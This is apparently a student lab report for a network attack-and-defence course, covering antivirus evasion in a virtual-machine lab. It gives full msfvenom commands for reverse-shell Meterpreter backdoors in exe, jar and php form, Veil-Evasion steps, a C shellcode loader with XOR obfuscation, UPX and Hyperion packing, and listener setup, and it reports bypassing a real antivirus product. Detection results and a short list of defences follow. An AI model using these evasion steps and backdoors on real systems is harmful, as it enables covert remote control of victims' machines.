2017-2018-2 20155314《網絡對抗技術》Exp3 免殺原理與實踐

2017-2018-2 20155314《網絡對抗技術》Exp3 免殺原理與實踐

目錄

實驗要求

  1. 正確使用msf編碼器,msfvenom生成如jar之類的其餘文件,veil-evasion,本身利用shellcode編程等免殺工具或技巧(1.5分)php

  2. 經過組合應用各類技術實現惡意代碼免殺(1分)(若是成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)html

  3. 用另外一電腦實測,在殺軟開啓的狀況下,可運行並回連成功,註明電腦的殺軟名稱與版本(1分)java

返回目錄linux

實驗環境

  • macOS下Parallels Desktop虛擬機中(網絡源均設置爲NAT模式):
    • Windows 7 - 64bit(IP爲10.211.55.13
    • Kali Linux - 64bit(IP爲10.211.55.10
  • 殺軟:騰訊電腦管家(版本12.13.19475.203)

返回目錄git

預備知識

  1. 殺軟是如何檢測出惡意代碼的?
    • 基於特徵碼的檢測:惡意代碼中通常會有一段有較明顯特徵的代碼也就是特徵碼,若是殺毒軟件檢測到有程序包含的特徵碼與其特徵碼庫的代碼相匹配,就會把該程序看成惡意軟件。
    • 啓發式惡意軟件檢測:啓發式Heuristic,簡單來講,就是根據些片面特徵去推斷。一般是由於缺少精確斷定依據。對惡意軟件檢測來主說,就是若是一個軟件在幹一般是惡意軟件乾的事,看起來了像個惡意軟件,那咱們就把它當成一個惡意軟件吧。典型的行爲如鏈接惡意網站、開放端口、修改系統文件,典型的「外觀」如文件自己簽名、結構、廠商等信息等。各個廠商會定義本身的檢測模式。
    • 基於行爲的惡意軟件檢測:經過對惡意代碼的觀察、研究,有一些行爲是惡意代碼的共同行爲,並且比較特殊。因此當一個程序在運行時,殺毒軟件會監視其行爲,若是發現了這種特殊的行爲,則會把它當成惡意軟件。
  2. 免殺是作什麼?
    • 免殺就是讓安插的後門不被AV(Anti-virus)軟件發現。通常是對惡意軟件作處理,讓它不被殺毒軟件所檢測。免殺也是滲透測試中須要使用到的技術。
  3. 免殺的基本方法有哪些?
    • 改變特徵碼
      • 若是你手裏只有EXE
        • 加殼:壓縮殼 加密殼
      • 有shellcode(像Meterpreter)
        • 用encode進行編碼
        • 基於payload從新編譯生成可執行文件
      • 有源代碼
        • 用其餘語言進行重寫再編譯(veil-evasion)
    • 改變行爲
      • 通信方式
        • 儘可能使用反彈式鏈接
        • 使用隧道技術
        • 加密通信數據
      • 操做模式
        • 基於內存操做
        • 減小對系統的修改
        • 加入混淆做用的正常功能代碼
    • 很是規方法
      • 使用一個有漏洞的應用當成後門,編寫攻擊代碼集成到如MSF中
      • 使用社工類攻擊,誘騙目標關閉AV軟件
      • 純手工打造一個惡意軟件

返回目錄程序員

實驗步驟

1 免殺效果實測

1.1 惡意代碼生成工具

惡意代碼功能也是重複相似的,程序員最不屑於作的就是一樣的代碼寫屢次。因此就產生了惡意代碼的生成工具,能夠用原始的功能代碼按需組合生成不一樣的可執行文件,現加上不一樣的免殺手段。常見的如msfvenom,veil-evasion,backdoor-factory等。github

對於這種狀況,AV廠商固然是要儘可能找到如msfvenom生成軟件的特徵,而不是蒐集全部生成結果的特徵了。其結果就是隻要msfvenom生成的exe就會檢測到,無論你是用了什麼編碼器,迭代編碼的多少次。算法

在免殺過程當中,咱們就會使用這樣的工具來生成惡意代碼,並測試其免殺效果。shell

返回目錄編程

1.2 免殺效果的評價

1.2.1 VirusTotal、Virscan

集成了60多個商業殺毒軟件的掃描引擎。能夠上傳免殺處理過的程序進行檢測。

若是上傳的程序全部軟件都殺不出來,virustotal就會把它交給AV廠商們了,而後...在殺毒庫更新前,你還可使用一段時間。

Virustatol不包括各AV軟件的行爲分析部分(behavioral analysis)。但它本身開發了本身的行爲分析引擎。太慢,還沒試用。

https://www.virustotal.com/,最近奇慢,緣由不明
http://www.virscan.org/ 國內的相似virtustotal

返回目錄

1.2.2 免殺效果參考基準

msfvenom直接生成meterpreter可執行文件,檢出率爲46/57。57個掃描引擎中有46中把它識別爲病毒。咱們以此爲參照,看通過免殺處理的應用在Virustotal上的識別率高了仍是低了。

序號 免殺方式 可用性測試 測試主機OS/AV VirusTotal VirScan
1 msfvenom直接生成 關閉殺軟可用 Win7_64+MSSE 46/57 16/39
2 msfvenom 編碼一次 關閉殺軟可用 Win7_64+MSSE 45/57 15/39
2 msfvenom 屢次編碼 關閉殺軟可用 Win7_64+MSSE 45/57 16/39
2 Veil-evasion 開啓殺軟可用 Win7_64+MSSE 19/58 5/39
2 C+shellcode 開啓殺軟可用 Win10+騰訊管家/Bitdefender 1/39
2 UPX壓縮殼 40/57 17/39
2 Hyperion 18/57 8/39
... ...

返回目錄

1.3 Msfvenom

1.3.1 Msfvenom使用編碼器

Msfvenom是Metasploit平臺下用來編碼payloads免殺的工具。以Metaspliot的知名度和普及度。理所固然,全部AV廠家都盯着呢,一有新編碼算法,立刻就得加到特徵庫裏呀。

編碼後呢,按理論上講,編碼會下降檢出率,大不了多編碼幾回,總會檢不出來。

  • 直接輸入命令msfvenom便可查看相關用法:
  • 編碼一次命令以下(用-e參數編碼):

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe

  • 編碼十次命令以下(用-i參數指定編碼次數):

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe

    仍是8個引擎報毒啊!這招很差使!

1.3.2 Msfvenom生成jar等其餘文件
  • 用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor_java.jar生成.jar文件:
  • 用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor.php生成php文件(可用於網頁掛馬):

返回目錄

1.4 Veil-Evasion

Veil-Evasion是一個免殺平臺,與Metasploit有點相似,在Kalil軟件庫中有,但默認沒裝。免殺效果比較好。官網上有視頻教程。

  • sudo apt-get install veil命令安裝Veil,若遇到問題則用sudo apt-get updatesudo apt-get upgrade這兩個命令更新一下軟件包便可:
  • 以後用veil命令打開Veil,輸入y繼續安裝直至完成,之間可能等待較長時間:
  • use evasion命令進入Evil-Evasion:
  • 輸入命令use c/meterpreter/rev_tcp.py進入配置界面,先設置輸出.exe文件名:
  • set LHOST kali-ip命令設置ip,用set LPORT PORT命令設置端口號:
  • 再用generate命令生成.exe文件:
    如圖所示,保存路徑爲:/var/lib/veil/output/compiled/20155314.exe
  • 先上傳至Virscan試試水?
    打廣告???冤枉啊(我喂本身袋鹽!!!)那就改爲5314.exe吧~
  • 用實驗二所學知識將後門5314.exe傳到Windows 7並嘗試回連:
    • Windows下用命令行進入ncat目錄,輸入命令ncat.exe -lv 5314 > 5314.exe打開監聽;
    • Kali下輸入命令ncat -nv 10.211.55.13 5314 < 5314.exe發送後門到Windows:
      以下圖,發送成功:
    • 在Kali中輸入msfconsole命令用MSF打開監聽進程(這回怎麼又是那隻兔子),再依次輸入如下命令:
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 10.211.55.10 //此處仍然爲Linux的IP
    set LPORT 5314
    exploit
    • Windows進入ncat目錄下找到剛剛傳過去的後門並雙擊運行5314.exe,此時win7上的殺軟——騰訊電腦管家終於坐不住了,直接強制給它隔離並彈窗警告⚠️!!!
    • 實驗須要,咱們選擇給它加入信任區(平時可不敢這麼幹啊( ̄∇ ̄)):
      從新雙擊後門,發現已經能夠回連
      調攝像頭什麼的上回玩膩了,此次就再也不玩了( ̄∇ ̄)~
  • 分別上傳至Virscan和VirusTotal上測測看:
    • Virscan掃描結果以下:
      emmmm彷佛感受有些良好?別得意的太早!
    • VirusTotal掃描結果以下:
      什麼?居然淪陷了半壁江山?!諷刺的是對比Virscan掃描結果,發現一樣的幾款殺毒引擎居然一個報毒另外一個安全???這不科學啊(>﹏<)

返回目錄

1.5 C語言調用Shellcode

1.5.1 Linux平臺交叉編譯Windows應用
  • 使用命令msfvenom -p windows/meterpreter/reverse_http LHOST=10.211.55.10 LPORT=5314 -f c生成一個c語言格式的shellcode數組:
  • 把上面的數組拿來編寫一個程序,用vim 5314shellcode.c命令新建一個c文件,將生成的shellcode粘貼到其中,並在以後添加主函數:
    int main() { int (*func)() = (int(*)())buf; func(); }
  • 再用i686-w64-mingw32-g++ 5314shellcode.c -o 5314shellcode.exe命令生成可執行文件:
  • 將後門5314shellcode.exe傳到Windows 7並嘗試回連:
    • win7下輸入ncat.exe -lv 5314 > 5314shellcode.exe;
    • Kali下輸入ncat -nv 10.211.55.13 5314 < 5314shellcode.exe;
    • Kali下輸入msfconsole相關命令;
    • win7下打開5314shellcode.exe——

      媽嗨!被騰訊電腦管家查殺了QAQ!後門太low了沒辦法找回唄……從新打開後門:

      這.....崩了?ಠ_ಠ
      不過貌似不影響回連的成功嘿嘿:
  • 最後戰戰兢兢地上傳至virscan.org(>﹏<):

    呃啊效果彷佛還不咋樣啊😒😒多是名字的緣由?😂

返回目錄

1.5.2 對shellcode進行免殺變形
  • 基於Windows平臺的shellcode免殺的實現思路主要是經過對上面用msfvenom生成的shellcode數組進行一系列變形從而欺騙殺軟。這裏咱們先將上面的shellcode與'x'執行異或操做,而後分配一些內存,拷貝字符數組到分配的內存中,最後執行它。須要特別注意的是,必須先將shellcode與選擇的關鍵字'x'進行異或操做,而後將 shellcode放入到寫好的代碼中並編譯:
    • 通過與'x'異或操做後的shellcode代碼:
    • 上傳至virscan.org檢測:
      能夠哦!檢測率大大下降!已經能夠騙過virscan上集成的絕大多數殺軟~
    • 用virustotal試試:
      哈哈哈哈哈哈不過不得不認可微軟的殺毒引擎仍是很強大的居然知道我用的是Meterpreter👍👍
    • 最使人遺(xing)憾(fen)的是,這回終於繞過了「強大」的電腦管家!這就是傳說中的後門與殺軟共生?!也算是成功吧嘻嘻!

返回目錄

1.6 加殼

加殼的全稱應該是可執行程序資源壓縮,壓縮後的程序能夠直接運行。

加殼的另外一種經常使用的方式是在二進制的程序中植入一段代碼,在運行的時候優先取得程序的控制權,以後再把控制權交還給原始代碼,這樣作的目的是爲了隱藏程序真正的OEP(入口點,防止被破解)。大多數病毒就是基於此原理。

加殼的程序須要阻止外部程序或軟件對加殼程序自己的反彙編分析或者動態分析,以達到保護殼內原始程序以及軟件不被外部程序破壞,保證原始程序正常運行。

這種技術也經常使用來保護軟件版權,防止軟件被破解。但對於病毒,加殼能夠繞過一些殺毒軟件的掃描,從而實現它做爲病毒的一些入侵或破壞的一些特性。

MSF的編碼器使用相似方法,對shellcode進行再編碼。

從技術上分殼分爲:

  • 壓縮殼
    • 減小應用體積,如ASPack,UPX
  • 加密殼
    • 版權保護,反跟蹤。如ASProtect,Armadillo
  • 虛擬機
    • 經過相似編譯手段,將應用指令轉換爲本身設計的指令集。如VMProtect,Themida

1.6.1 壓縮殼UPX
  • Kali下輸入命令upx 5314shellcode.exe -o 5314shellcode.upxed.exe
  • 永不服輸!傳過去!再上傳到virscan.org看看!
    終於有進步了~😌

返回目錄

1.6.2 加密殼Hyperion
  • 進入目錄/usr/share/windows-binaries/hyperion/中;
  • 輸入命令wine hyperion.exe -v 5314shellcode.upxed.exe 5314shellcode.upxed.Hyperion.exe進行加殼:


  • 來來來,拉到virscan.org檢驗一下……

    ???這殼我仍是不加了吧……

返回目錄

1.6.3 擴展閱讀

加殼軟件有不少商業版,主要目標是爲了版權保護,防止逆向分析。更多內容見wiki相關詞條。

https://en.wikipedia.org/wiki/Executable_compression

返回目錄

1.7 行爲分析

VirScan有行爲分析引擎,會給出一個安全評分。越高越安全。

上傳完目標文件後,等待一下子,(1)從新上傳,會提示你該文件已經分析過了,可直接查看報告;(2)或點擊左側的「查看報告」,從列表中找出你上傳文件的報告頁面。以下圖,再點擊「文件行爲分析」。

下圖分別是通過加密殼處理和壓縮殼處理的兩個文件的行爲分析結果。

在真正的實踐中,如下技術也有可能被應用到:

  • 改變行爲
    • 通信方式
      • 儘可能使用反彈式鏈接:meterpreter自己即主要使用反彈鏈接
      • 使用隧道技術:如dns2tcp、iodine可將流量封閉爲DNS協議包
      • 加密通信數據:如使用reverse-https進行轉發
    • 操做模式
      • 基於內存操做:meterpreter是基於內存操做的操做的
      • 減小對系統的修改

返回目錄

2 惡意軟件防範措施

  • 思想上
    1. 清楚本身操做的風險度
    2. 清楚本身操做目標的可信度
  • 行爲上
    1. 在可信網站下載應用。大部分非官方下載站點都存在綁捆、夾帶等準惡意行爲。包括中國IT幾巨頭。
    2. 理解官網上MD5值的用途,並使用其校驗下載內容。
    3. 使用正版、官方、開源軟件。
  • 具體技術手段
    1. 安裝可信的防病毒軟件並即時更新
    2. 理解並管理好防火牆進出站規則
    3. 會用工具監控進程操做:如文件操做、註冊表操做、網絡鏈接與通信內容
    4. 會使用沙箱技術分析可疑軟件
    5. 會使用沙箱隔離可能受到攻擊的應用

返回目錄

實驗中遇到的問題及解決過程

返回目錄

實驗總結與體會

  殺軟並非萬能的。此次實驗讓我充分認識到了殺軟的侷限性以及殺軟在面對一些精心製做的後門時幾乎是毫無用處的,最關鍵的是製做這樣一個免殺後門的技術門檻和成本是很是低的。此外,因爲殺軟在電腦上具備相對較高的權限,它們是否私自收集和泄漏用戶數據隱私也飽受世人懷疑。總之,咱們不能過於依賴殺軟
  veil-evasion和半手工編程當前免殺效果最好。基本能夠繞過主流AV軟件。已有的編碼、加殼、加密軟件,須要把解壓、解密代碼加入到可執行文件中,這些代碼片段會被檢測出。加殼、加密的思路+半手工的payload多是一種可行的方式,但須要更多測試。最牛的固然是本身開發,開發這樣通用的工具可能工做量仍是很是大的,好在有前人的工做能夠參考像kkrunchy還有HackingTeam泄露出來的 core-packer
返回目錄

參考資料

返回目錄

相關文章
相關標籤/搜索